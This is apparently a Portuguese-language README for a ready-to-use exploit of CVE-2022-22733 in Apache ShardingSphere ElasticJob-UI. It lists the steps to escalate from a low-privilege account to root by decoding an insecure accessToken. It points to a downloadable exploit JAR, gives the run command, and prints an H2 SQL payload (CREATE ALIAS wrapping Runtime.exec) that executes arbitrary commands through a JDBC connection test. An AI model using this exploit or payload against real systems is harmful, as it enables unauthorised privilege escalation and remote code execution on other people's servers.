CVE-2022-22733

CVE-2022-22733 é uma vulnerabilidade que afeta o Apache ShardingSphere ElasticJob-UI 3.0.0 e versões anteriores. A vulnerabilidade leva à Escalação de Privilégios. Porém, abusando dos privilégios escalados, um ataque JDBC pode ser executado e alcançar RCE. Você pode ler a análise da vulnerabilidade Aqui e o blog de escrita do exploit passo a passo Aqui.

O Exploit funciona da seguinte forma:

• Faça login com a conta de baixo privilégio.
• Obtenha o accessToken gerado de forma insegura.
• Decodifique o accessToken gerado de forma insegura.
• Analise os dados decodificados do accessToken.
• Recupere as credenciais da conta root dos dados analisados.
• Faça login com as credenciais da conta root e obtenha privilégios totais na aplicação.
• Envie uma solicitação de Teste de Conexão abusando do ataque ``JDBC`.

Usage

Você pode baixar o arquivo JAR aqui e o código fonte aqui.

• Execute o jar:

java -jar CVE-2022-22733.jar

• Código do script SQL:

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "123";}';CALL EXEC ('your_command_here')

Demo